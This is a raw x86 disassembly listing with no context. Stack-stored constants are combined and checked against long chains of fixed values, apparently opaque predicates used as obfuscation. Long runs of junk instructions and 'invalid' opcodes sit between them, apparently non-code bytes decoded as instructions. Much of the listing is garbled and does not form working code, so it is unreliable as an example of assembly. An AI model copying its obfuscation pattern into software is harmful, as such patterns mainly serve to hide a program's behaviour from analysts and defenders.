mov ebx, 0x3820648
mov ebp, 0x66e36385
jae 0x67b43084
test dword [ebx - 0x1d], esp
jae 0x67b43084
outsd dx, dword [esi]
xor byte [bp + si], 0xad
jle 0x67b430f2
xor dword [edi], esi
cli
xchg esi, eax
cmc
inc ebx
ret
cmpsb byte [esi], byte es:[edi]
xlatb
in eax, dx
loop 0x67b430c0
loope 0x67b4307f
invalid
rol ecx, 1
adc al, 0x9b
adc dword [ecx + 0x116695e9], ecx
xchg edi, eax
arpl word [edi], di
sub byte [ecx + 0x59], dl
mov edx, 0xbc668029
insb byte es:[edi], dx
dec edi
cmpsd dword [esi], dword es:[edi]
test al, 0x27
pushfd
sub byte [ebx], ah
dec eax
mov dword [0x3da3fdba], eax
xor edx, dword [ecx - 0x36596875]
cmp esp, dword [ebp + edi*2 + 0x5c]
and byte [edx], al
sub byte [ebx - 0x31], cl
push eax
xor al, 0x29
invalid
pop ss
mov ch, 0xcf
mov esp, 0x4469441d
invalid
nop
jmp 0x67b4ed92
nop
jmp 0x67b4ed92
mov dword [ebp - 0xc0], 0xcf0f
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc8], 0x7ed7b
mov dword [ebp - 0xc4], 0
mov ecx, dword [ebp - 0xc0]
mov ebx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xc8]
mov edx, dword [ebp - 0xc4]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], edx
mov eax, dword [ebp - 0xd0]
xor eax, 0xda6a9
or eax, dword [ebp - 0xcc]
je 0x67b48c89
mov edx, 0xda6a9
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0xcb331
or eax, dword [ebp - 0xcc]
je 0x67b46f24
mov edx, 0xcb331
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0xc3e24
or eax, dword [ebp - 0xcc]
je 0x67b4a9ee
mov edx, 0xc3e24
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0xa50e8
or eax, dword [ebp - 0xcc]
je 0x67b45d81
mov edx, 0xa50e8
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0xa3215
or eax, dword [ebp - 0xcc]
je 0x67b457a0
mov edx, 0xa3215
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x9bf39
or eax, dword [ebp - 0xcc]
je 0x67b46943
mov edx, 0x9bf39
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x938b1
or eax, dword [ebp - 0xcc]
je 0x67b44bde
mov edx, 0x938b1
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x8bc8a
or eax, dword [ebp - 0xcc]
je 0x67b4afcf
mov edx, 0x8bc8a
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x6d37b
or eax, dword [ebp - 0xcc]
je 0x67b47505
mov edx, 0x6d37b
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x609e9
or eax, dword [ebp - 0xcc]
je 0x67b4926a
mov edx, 0x609e9
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x3ce0c
or eax, dword [ebp - 0xcc]
je 0x67b445fd
mov edx, 0x3ce0c
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x39d52
or eax, dword [ebp - 0xcc]
je 0x67b47ae6
mov edx, 0x39d52
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x323b4
or eax, dword [ebp - 0xcc]
je 0x67b46362
mov edx, 0x323b4
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x26342
or eax, dword [ebp - 0xcc]
je 0x67b451bf
mov edx, 0x26342
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x241a4
or eax, dword [ebp - 0xcc]
je 0x67b480c7
mov edx, 0x241a4
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x18a6c
or eax, dword [ebp - 0xcc]
je 0x67b4984b
mov edx, 0x18a6c
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x10f73
or eax, dword [ebp - 0xcc]
je 0x67b49e2c
mov edx, 0x10f73
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x67b4afcc
mov eax, dword [ebp - 0xd0]
xor eax, 0x1ce2
or eax, dword [ebp - 0xcc]
je 0x67b4a40d
mov eax, dword [ebp - 0xd0]
xor eax, 0xc96c
or eax, dword [ebp - 0xcc]
je 0x67b486a8
jmp 0x67b4afcc
and eax, 0x8c5ec7a8
aad 0x80
wait
popfd
mov ch, 0x73
cmp eax, 0x78a11fe2
stosb byte es:[edi], al
sbb cl, byte [esi]
cmc
jp 0x67b4468b
jmp 0x67b445d5
sbb dword [ebp + 0x8ab12ce], esp
jno 0x67b4469b
aas
dec ecx
dec ecx
push es
in al, dx
mov edi, 0xec6b5c6b
wait
imul ebp, esp, 0xffffff9b
jl 0x67b446d9
jo 0x67b446f6
xor esi, ecx
out 0x44, eax
and edi, dword [edx + 0x5e61643d]
and dh, byte ss:[esi + 0x2dcb4373]
fcmovu st(0), st(1)
sbb eax, 0x517e3b8
daa
cmp edx, ebx
push ds
cmp ecx, dword [eax]
salc
add al, 0xec
nop
int3
inc ebx
xchg esp, eax
cmpsb byte [esi], byte es:[edi]
push 0x12c0fe41
invalid
test dword [eax + 2], edx
or edx, dword [ebx + 0x242b748]
fmul dword [ebx + 0x79fd5108]
popal
popal
mov byte [ebp + 0x41], ah
xchg byte [esi + edi*4 + 0x69], cl
pop ebx
cmpsb byte [esi], byte es:[edi]
fild word [ecx - 0x1c630348]
xchg esi, eax
cmp dword [eax], 0xded9b8e8
mov ebx, 0xdd14ef44
push 0x900b6a8d
int3
and dl, byte [edi - 0x1434219b]
xchg ebp, eax
dec esp
push cs
stc
call 0xc09acff4
cmp cl, ah
mov ah, 0x70
mov dh, byte [eax - 0x42]
sti
sub byte [ecx + 0x56], 0xf9
and ah, dh
imul ecx, edi, 0xc1112f0c
not dword [ecx - 0x47acea36]
xor byte [ebx + 0x15], bh
adc al, 0xca
push cs
mov fs, word [ebx]
push esi
jne 0x67b44c3c
mov ecx, 0x9f974525
sub byte [eax + 0x54f79575], ch
daa
dec eax
jbe 0x67b44c54
ret
shr dword [edi], 0xb2
seto ah
retf
add al, 0xa6
xchg esp, eax
aad 0xda
dec ebx
lodsd eax, dword [esi]
retf
aaa
cdq
inc edi
push cs
inc eax
out 0xe9, eax
invalid
iretd
pop dword [edi - 0x22889a1c]
fsub qword [esi]
into
popfd
adc al, 0xf5
insd dword es:[edi], dx
aad 0x3c
jbe 0x67b45def
invalid
jle 0x67b45dae
das
or dh, byte [eax - 0x4d609178]
sbb bh, byte [esi - 0x6d]
sahf
xchg ebp, eax
cli
add edi, dword [esi + 0x1b]
iretd
loop 0x67b45d8d
sub al, 0x57
sub bl, byte [edx]
js 0x67b45d9c
sub al, 0xc4
lodsb al, byte [esi]
lodsb al, byte [esi]
scasd eax, dword es:[edi]
clc
invalid
sub al, bh
sahf
ljmp 0xf69b
rcl dh, 1
mov ss, word [esi - 0x7bf2228b]
xor eax, 0x3b715c05
dec edx
sbb byte [edi], dl
sub dword [ebp + 0x6d], 0xffffffea
sub dword [ecx - 0x69c7ce94], ebp
xor al, bh
pop eax
inc ecx
loop 0x67b469dd
dec edi
xor dl, 0x46
clc
invalid
lds ecx, [ebp + 0x5a9a24dc]
xor byte [ecx - 0x19], 0x54
pop ebx
retf
outsd dx, dword [esi]
arpl word [ebx + 0x59], bp
dec edx
movsd dword es:[edi], dword [esi]
in al, dx
add ah, al
ljmp 0xbaed
push ss
invalid
daa
push 0xe220e6d0
invalid
nop
int3
inc ebp
insd dword es:[edi], dx
loop 0x67b47a9c
xor eax, 0xec2d8643
xchg esi, esp
out dx, al
mov dword [ebx], esp
mov eax, dword [eax - 0xd6b457f]
sub bh, 0xcd
jl 0x67b47b36
ficom word [esi - 0x2a]
sub byte [edx - 0x2a13292a], bh
sub dword [ebp + 0x1bb0cf3c], 0x6b
cmp al, 0xa8
pop esp
sub byte [ebp - 0x70], bl
cmpsd dword [esi], dword es:[edi]
je 0x67b47adf
cmp al, 0x87
std
dec edx
inc ebp
in al, 0xa
sub edx, dword [esi]
adc al, 0xa5
add esp, dword [ecx - 0x59]
pmaxub mm0, qword [eax]
aas
inc edx
retf 0x89f4
and eax, 0xbe4d3f4b
dec eax
mov fs, edx
cmp eax, 0xbff9b211
sti
sti
invalid
push es
ret 0xab5f
jb 0x67b480cd
cmp eax, 0xeb548db3
call 0xb9a19a64
sub eax, 0x81130065
mov ch, 0x51
retf 0xb963
jmp 0x67b480b7
aad 0xec
insd dword es:[edi], dx
int3
add ecx, edi
pop esp
invalid
xchg byte [eax + 0x2631ced1], ah
mov dword [0x6d41e403], eax
or ebx, edi
cmp eax, esi
out dx, al
add cl, byte [ebx]
xchg esp, eax
dec edi
in al, dx
enter 0x64e0, 0x41
cmpsb byte [esi], byte es:[edi]
jne 0x67b486bd
jno 0x67b48660
fst dword [ebx]
jb 0x67b48678
cmp eax, 0x4d7e2c85
insb byte es:[edi], dx
jb 0x67b48744
call 0x14601f3e
ret 0x6014
push 0x7b9cc1bf
inc edi
mov edi, 0x477b9cc1
les ebx, [edx]
mov dword [edx], ecx
dec ecx
test ch, dh
jno 0x67b4871c
lahf
cmp eax, 0xe4a5a6d5
insd dword es:[edi], dx
cwde
dec esi
xlatb
invalid
and eax, 0x8edea65b
xor byte [edi + 0x73a0ced0], 0x33
adc bl, dl
outsd dx, dword [esi]
cmpsd dword [esi], dword es:[edi]
aam 0xd
xor byte [edx + 0x20], ah
or eax, 0xf2ca695f
inc ebx
xchg dword [eax], esi
jecxz 0x67b4871b
movsd dword es:[edi], dword [esi]
mov al, byte [0xe060f739]
mov word [ebp + 0x14], ds
les edx, [eax + 0x31348bcc]
adc eax, 0xc03bb4eb
xchg esi, eax
add ebx, dword [edx]
adc dh, bh
push edx
mov edx, 0xd5671530
sub eax, dword [edi - 0x31]
adc eax, 0x4acfc826
outsd dx, dword [esi]
dec ecx
xor eax, 0x6b5fce56
xchg esp, eax
dec esp
out dx, eax
clc
in eax, dx
sar byte [ebx + 6], 1
aad 0x33
not dword [edx]
or bl, byte [edx + 0xa]
test dword [esi - 0x6cb37622], ebp
pop esp
fidivr word [eax]
fnstenv [ebx - 0x31]
fdivr dword [ebp - 0x2f]
xor dword [ebp + 0x151627b0], 0x66
xchg edi, eax
push eax
and al, 0xb2
adc ch, byte [ecx]
sub dword [ecx + ebx*4], 0xa41fa8c5
ljmp 0xc67b
ror dword [ebx + 0x6a], 0x6d
ror byte [ebx + 0x5c], 0x5d
aad 0xeb
nop
int3
jg 0x67b48cdb
inc esi
rsm
aas
jmp 0x67b48c78
add ah, bl
in al, dx
adc esp, esp
adc dl, byte [esi + 0x7d]
xchg esp, eax
invalid
inc ecx
xchg byte [eax - 0x6c368012], al
mov eax, dword [0x87946a7a]
jns 0x67b492c9
pop esi
stc
ret 0xe79b
pop ds
mov esi, 0x37cc90ad
mov esp, dword [edi + 0x7d31ec43]
sahf
xor edx, esp
adc ch, byte [edx + eax*4 - 0x6f670a5c]
dec esp
retf 0xbf0e
pushal
arpl si, dx
movsb byte es:[edi], byte [esi]
jbe 0x67b49878
sub ecx, esi
aas
mov eax, dword [0x85e9cc90]
pop ss
add byte [eax], al
mov ah, 0x89
out dx, al
push cs
mov byte [0xa713aeec], al
cmp bl, byte [ecx + ecx*4 - 0x67d537d]
into
mov ch, 0x25
or eax, dword [ebx - 0x24]
daa
and eax, 0x824eab3e
lcall 0x7509, 0xd4a38eeb
jmp 0x67b4983a
or edx, esp
shr eax, cl
add al, 0x16
aad 0x5c
mov dh, byte [eax + 0x3f10b0c4]
jno 0x67b49897
fnstenv [edx - 0xb57b77e]
invalid
xchg byte [ebx], bh
wait
sub eax, 0x349b8adc
xchg edx, eax
fmul qword [edx - 0x6dc9cb65]
or dword [ebx], ecx
mov dh, 0x36
xor edx, dword [ecx - 0x5070a11e]
lodsd eax, dword [esi]
cld
inc ecx
jge 0x67b498d1
push es
nop
int3
and eax, 0x68888f46
das
adc edx, dword [ecx - 0x36]
jne 0x67b4992f
salc
loopne 0x67b498db
jp 0x67b498cb
nop
test dword [edx + 0x3b], 0xa27c4676
arpl si, si
and edx, dword [0x4799c22b]
enter 0x72a9, 0x7c
xor al, 0x2c
add edi, dword [esi*4 - 0x5d196ee]
mov ebx, 0xb420ca31
and dword [edx - 0x7fc905f4], ebx
jge 0x67b49892
popal
invalid
cmpsb byte [esi], byte es:[edi]
test dword [ecx + 0x3a], esi
inc ecx
popal
out 0xc2, al
xor dword [eax + 0x4119064b], eax
cmpsb byte [esi], byte es:[edi]
and byte [edi + 0x6575fee3], al
pop ds
int 0x35
and al, 0x3a
mov edx, 0x2cbbf765
inc ebx
je 0x67b49916
mov gs, word [ebx + 0x6dea3d06]
mov ebx, 0x197041f
rol ecx, cl
mov esi, 0xdf5abb6f
xor ah, ah
fcmove st(0), st(6)
sub dword [esi], esp
lcall 0x6f60, 0xdc701054
inc ebx
inc esi
hlt
sub eax, 0x5cdb387e
mov ecx, 0x6d9799c8
mov dl, 0x5c
xor ecx, edi
invalid
into
push eax
mov bh, cl
fdiv dword [ecx + 0x23753063]
push eax
ficom word [ebx]
pop esi
push ebp
aam 0xfc
insd dword es:[edi], dx
rcr byte [ebp - 0x16], 1
and byte [edi - 0x57], 0xf2
xor al, 0x2e
mov dword [0x292700af], eax
invalid
mov dword [edi - 0x6c], 0xd08a3900
xor al, 0x72
sal byte [edx + esi*2], 1
int1
sub eax, 0xdf02f2f4
and al, 0x87
ret
cld
aad 0x70
pop edi
pop ebx
sub eax, 0xa33ba8aa
cmp edi, dword [edx + 0xfe8ee30]
dec ecx
stosd dword es:[edi], eax
and al, 0x96
mov ch, 5
sub byte [ebp + ebx + 0x3e3782e4], ch
rol dword [eax - 0x686b4288], 1
jae 0x67b4a3bc
or al, byte [ecx]
jbe 0x67b4a3f2
push cs
push ss
xchg ebp, eax
cmp al, 0x47
pop esp
les esi, [edx - 0x226e21b5]
add eax, 0xe4a2a986
xchg esp, eax
inc edi
test al, 0xbc
add byte [ebx + 0x40e7d3f9], bh
movsd dword es:[edi], dword [esi]
jle 0x67b4a3f8
xor dword [edi + 0x1e], 0x56
pop ebp
rol byte [edx + 0x502c6e92], cl
or al, 0x49
push 0x10
inc ebp
mov dword [edi - 0x31], eax
lcall 0xcc90, 0x34831375
mov bh, 0xf3
fstp dword [ebx]
test al, 0x13
push edi
mov ecx, 0x768f6e99
pushfd
lahf
adc edx, dword [eax - 0x25]
invalid
push es
dec edx
invalid
nop
jmp 0x67b4afd0
nop
add dword [ebp - 0x10], 2
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
add dword [ebp + 0xc], 2
mov edx, dword [ebp + 0xc]
movzx edx, word [edx]
mov word [ebp - 0xa], dx
cmp word [ebp - 0xa], ax
je 0x67b3e599
jmp 0x67b4aff5
nop
mov dword [ebp - 0x108], 0x414ea
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x110], 0x62205
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x110]
mov edx, dword [ebp - 0x10c]
sub eax, dword [ebp - 0x108]
sbb edx, dword [ebp - 0x104]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x118]
xor eax, 0xf13bd
or eax, dword [ebp - 0x114]
je 0x67b4c316
mov edx, 0xf13bd
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x67b4d4b6
mov eax, dword [ebp - 0x118]
xor eax, 0xe1946
or eax, dword [ebp - 0x114]
je 0x67b4c8f7
mov edx, 0xe1946
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x67b4d4b6
mov eax, dword [ebp - 0x118]
xor eax, 0xc8876
or eax, dword [ebp - 0x114]
je 0x67b4ced8
mov edx, 0xc8876
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x67b4d4b6
mov eax, dword [ebp - 0x118]
xor eax, 0x9a794
or eax, dword [ebp - 0x114]
je 0x67b4b173
mov edx, 0x9a794
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x67b4d4b6
mov eax, dword [ebp - 0x118]
xor eax, 0x87bb2
or eax, dword [ebp - 0x114]
je 0x67b4bd35
in al, dx
invalid
dec dword [edi]
test byte [ecx], dl
or al, 0
add byte [edx + 0x87bb2], bh
mov edx, 0x87bb2
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x67b4d4b6
mov eax, dword [ebp - 0x118]
xor eax, 0x20d1b
or eax, dword [ebp - 0x114]
je 0x67b4d4b9
mov eax, dword [ebp - 0x118]
xor eax, 0x879db
or eax, dword [ebp - 0x114]
je 0x67b4b754
jmp 0x67b4d4b6
mov ah, 0xa8
js 0x67b4b190
push eax
in eax, dx
stosd dword es:[edi], eax
xchg edi, eax
imul edi, esp, 0xfffffff6
scasd eax, dword es:[edi]
or edx, ebp
inc edi
push es
xchg dword [ebx + 0x36], esi
fdiv st(2)
xor al, 0xcb
mov ah, 0x2f
cmpsb byte [esi], byte es:[edi]
shl ah, 0xbc
cmp ebp, dword [eax]
loop 0x67b4b11d
jno 0x67b4b11a
int1
cdq
daa
rcl cl, 1
xchg byte es:[ebp - 0x62], ch
das
sbb eax, 0xa3617139
stosb byte es:[edi], al
invalid
and esi, dword [esi]
aad 0x38
cmc
cmp eax, 0x99bebe0
cmc
insb byte es:[edi], dx
bound esp, qword [eax]
pop ebx
ljmp 0xb8ee
pop ebp
mov esp, 0xddc3669e
js 0x67b4bd66
scasb al, byte es:[edi]
scasd eax, dword es:[edi]
scasd eax, dword es:[edi]
xor esp, dword [ebp + 0x29]
enter 0x2a25, 0x6d
xor eax, 0x4ca620ab
xchg ebx, eax
pop edx
xchg ebp, eax
ret 0x3996
int1
push esp
inc ecx
pop esi
mov esi, 0x9950d621
salc
and edi, 0xe442ea1e
mov byte [0xac7cd8a2], al
ljmp 0x9043
bound esp, qword [ecx]
sbb byte [edi + 0x42], bh
jg 0x67b4c334
fidiv word [ebx + 0x40]
pop es
std
jno 0x67b4c2ed
std
ret
test byte [eax + 0x4f048cda], 1
enter 0xffffffffffffde0e, 0x21
loopne 0x67b4c2f0
test dword [ecx - 0x1c], esp
dec edx
sbb byte [esi - 0x46], bh
cmc
xor ebx, dword [ecx + 0x56]
xchg dword [ecx + 0xa], esi
fstp xword [eax]
add dword [eax - 0x4a52c640], 0xffffffce
add al, 0x39
lodsd eax, dword [esi]
mov ch, 0xce
adc byte [ebx], dl
lahf
dec ebp
mov dword [0xeedddcf4], eax
inc eax
adc eax, 0xebf53703
pop ebp
inc edx
jmp 0x83ecc136
jno 0x67b4c960
push ss
stosb byte es:[edi], al
frndint
mov ch, byte [di]
xchg ebx, eax
inc esp
lodsb al, byte [esi]
mov bl, 0x1e
sub byte [ebp + 0x3b], al
into
xor al, 0xc9
xlatb
mov ebp, 0x4e351eef
adc al, 0xfa
sub eax, 0xbd58ec07
mov byte [ebp - 0x62], dh
loopne 0x67b4c944
aad 0xc9
sub eax, 0xf694537d
imul eax, eax, 0x2d68e557
mul dword [ebp + edi*2 + 0x4d4cd0b0]
inc edx
xor cl, byte [eax - 0x6f4afedd]
jno 0x67b4c98c
push eax
push edi
in eax, dx
cmp eax, 0x526317f9
nop
popfd
mov cl, ah
arpl word [bx + di], di
arpl word [edi], sp
inc esi
xchg ebp, eax
fcomp dword [edi + edx*4 - 0xa065bbb]
enter 0xffffffffffff86ea, 0xffffffffffffff8a
nop
int3
sub al, 0xf2
mov al, byte [edi - 0x55]
adc byte [esi - 0x32697165], ch
sahf
mov eax, dword [0xfd93e662]
inc ebp
mov ecx, 0xbc5c1594
cmc
push ss
lodsd eax, dword [esi]
invalid
mov eax, eax
xlatb
out dx, al
mov ecx, 0x9c7f1fed
shld dword [edx + 0x3a479b93], ebx, 0xb4
jge 0x67b4c93b
xchg edi, eax
cmpsb byte [esi], byte es:[edi]
cdq
rcl byte [eax - 0x3a]
sbb dword [ebp + 0x19], edx
cld
push ss
pop ss
lodsd eax, dword [esi]
cmp al, 0x66
invalid
lcall 0xbbd5, 0x1d044696
int 3
xor al, 0x9a
shl dword [eax + 3], 1
ror dword [ecx - 0x7249e319], cl
mov esi, 0x2f5e1872
test al, 0xfa
push ebx
outsb dx, byte [esi]
jmp 0x67b4cf43
add dh, byte [0x40aa7ea6]
lcall 0xe2ce, 0x9bde61
retf 0x4cf8
nop
jmp 0x67b4d4ba
nop
mov eax, dword [ebp - 0x9c]
mov dword [ebp + 0xc], eax
cmp word [ebp - 0xa], 0
jne 0x67b107d2
mov dword [ebp - 0x150], 0xed4b3
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x158], 0x95416
mov dword [ebp - 0x154], 0
mov eax, dword [ebp - 0x14c]
imul eax, dword [ebp - 0x158]
mov edx, eax
mov eax, dword [ebp - 0x154]
imul eax, dword [ebp - 0x150]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x150]
mul dword [ebp - 0x158]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], edx
mov eax, dword [ebp - 0x160]
xor eax, 0x595c0362
mov edx, dword [ebp - 0x15c]
xor dl, 0x8a
or eax, edx
je 0x67b4ed8b
mov edx, 0x595c0362
mov eax, 0x8a
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67b4ed8e
mov eax, dword [ebp - 0x160]
xor eax, 0xdd10a
or eax, dword [ebp - 0x15c]
je 0x67b4e7ad
mov edx, 0xdd10a
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67b4ed8e
mov eax, dword [ebp - 0x160]
xor eax, 0xce626
or eax, dword [ebp - 0x15c]
je 0x67b4d60a
mov edx, 0xce626
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x67b4ed8e
mov eax, dword [ebp - 0x160]
xor eax, 0x670c2
or eax, dword [ebp - 0x15c]
je 0x67b4dbeb
mov eax, dword [ebp - 0x160]
xor eax, 0xb9ed8
or eax, dword [ebp - 0x15c]
je 0x67b4e1cc
jmp 0x67b4ed8e
sub eax, 0xdd7ec03e
mov ecx, 0x1cce123f
invalid
jne 0x67b4dc51
adc al, 0x78
das
pop edx
invalid
retf 0x2c7e
sub dword ds:[eax - 0x4614dc34], edx
pop ebp
jle 0x67b4dca8
mov ecx, 0x9c537e5d
pushfd
enter 0x4e44, 0x11
xor al, 0xda
pop edi
pop ecx
jecxz 0x67b4dc4b
add edi, dword [ecx]
fsub dword [esp + eax*4 + 0x24]
mov edx, 0x81b0ea3
xor ebp, dword [ebx]
sub al, byte [edi - 0x21b55d5e]
or eax, 0xa5543bd3
jg 0x67b4dc41
inc ebp
inc ecx
add ch, byte [esi + esi*2]
test byte [esi + 0x37eb0a3c], al
inc ecx
sti
out 0x43, al
aas
daa
pop ds
cwde
invalid
sahf
sbb byte [esi + 0x1bd3a690], bh
xor dh, byte [0x7179cc90]
cmp dh, byte [edx + 0x3a]
push edx
pushal
mov esp, 0x4745aa50
scasb al, byte es:[edi]
sti
dec edx
pop edi
ret 0xb607
pop edi
pop eax
aad 0x80
mov al, byte [0x13a02933]
add eax, 0x23265684
salc
int3
enter 0x4292, 0xffffffffffffffeb
popfd
inc edx
mov eax, 0xac39247a
lock adc dword [eax + edx*4 + 0xbc3e9cc], 0
add byte [ecx + 0x6a], ch
stc
push es
push es
js 0x67b4e17a
nop
int3
jmp 0x67b4ed8f
imul ebp, dword [edx - 7], 0xa7780606
jg 0x67b4e1e8
out dx, al
xor bh, byte [ebp - 0x20ab327c]
cli
push ebx
loope 0x67b4e1f0
jne 0x67b4e242
cmp edi, esi
test dword [0x19c0912b], edx
clc
rcr byte [ecx], 0xf8
inc eax
scasd eax, dword es:[edi]
cmp al, 0xa5
sbb byte [ebp + edx + 0x71], ah
pop ds
pop ebp
jne 0x67b4e1c7
adc eax, 0x755d1f71
sar byte [edx - 0x2a37e500], 1
mov edx, 0xd5c81b00
fcmovbe st(0), st(7)
push ebx
int 0x35
xchg edx, eax
jge 0x67b4e1b6
cwde
test esi, ebp
pop ebx
lodsb al, byte [esi]
loope 0x67b4e1c5
push ebp
push cs
ret 0x86ed
sub ecx, esp
pushal
in al, dx
stosd dword es:[edi], eax
jo 0x67b4e252
xor esp, dword [esi + 0x7bbe8e4]
mov ebx, 0xeb8390ba
shr dword [edx - 0x78], 0x50
sub ebx, 0xffffffc1
push 0xffffffffffffff88
push eax
fst dword [edi]
cwde
pop edx
inc ebx
sahf
fistp qword [eax - 0x2dc2896e]
adc ebx, dword [ecx + 0x2d]
jle 0x67b4e249
dec ebx
push edx
cmp ecx, ecx
aam 0x19
arpl word fs:[esi], ax
dec esp
rol dword [edi - 0x7ffffa1b], 1
dec edi
out 0x74, al
push cs
invalid
push ecx
ret
nop
jmp 0x67b4ed92
nop
jmp 0x67b4ed92
nop
mov dword [ebp - 0x258], 0xaba71
mov dword [ebp - 0x254], 0
mov dword [ebp - 0x260], 0xc0de9
mov dword [ebp - 0x25c], 0
mov ecx, dword [ebp - 0x258]
mov ebx, dword [ebp - 0x254]
mov eax, dword [ebp - 0x260]
mov edx, dword [ebp - 0x25c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], edx
mov eax, dword [ebp - 0x268]
xor eax, 0x16c85a
or eax, dword [ebp - 0x264]
je 0x67b536cf
mov edx, 0x16c85a
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x67b536d2
mov eax, dword [ebp - 0x268]
xor eax, 0xd5de5
or eax, dword [ebp - 0x264]
je 0x67b5138c
mov edx, 0xd5de5
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x67b536d2
mov eax, dword [ebp - 0x268]
xor eax, 0xca506
or eax, dword [ebp - 0x264]
je 0x67b4f046
mov edx, 0xca506
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x67b536d2
mov eax, dword [ebp - 0x268]
xor eax, 0xc730b
or eax, dword [ebp - 0x264]
je 0x67b507ca
mov edx, 0xc730b
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x67b536d2
mov eax, dword [ebp - 0x268]
xor eax, 0xbbbf8
or eax, dword [ebp - 0x264]
je 0x67b51f4e
mov edx, 0xbbbf8
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x67b536d2
mov eax, dword [ebp - 0x268]
xor eax, 0xa4354
or eax, dword [ebp - 0x264]
je 0x67b50dab
mov edx, 0xa4354
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x67b536d2
mov eax, dword [ebp - 0x268]
xor eax, 0x8fb88
or eax, dword [ebp - 0x264]
je 0x67b5196d
mov edx, 0x8fb88
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x67b536d2
mov eax, dword [ebp - 0x268]
xor eax, 0x8e79a
or eax, dword [ebp - 0x264]
je 0x67b4fc08
mov edx, 0x8e79a
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x67b536d2
mov eax, dword [ebp - 0x268]
xor eax, 0x803cb
or eax, dword [ebp - 0x264]
je 0x67b52b10
mov edx, 0x803cb
mov eax, 0
cmp edx, dword [ebp - 0x268]
sbb eax, dword [ebp - 0x264]
jl 0x67b536d2
mov eax, dword [ebp - 0x268]
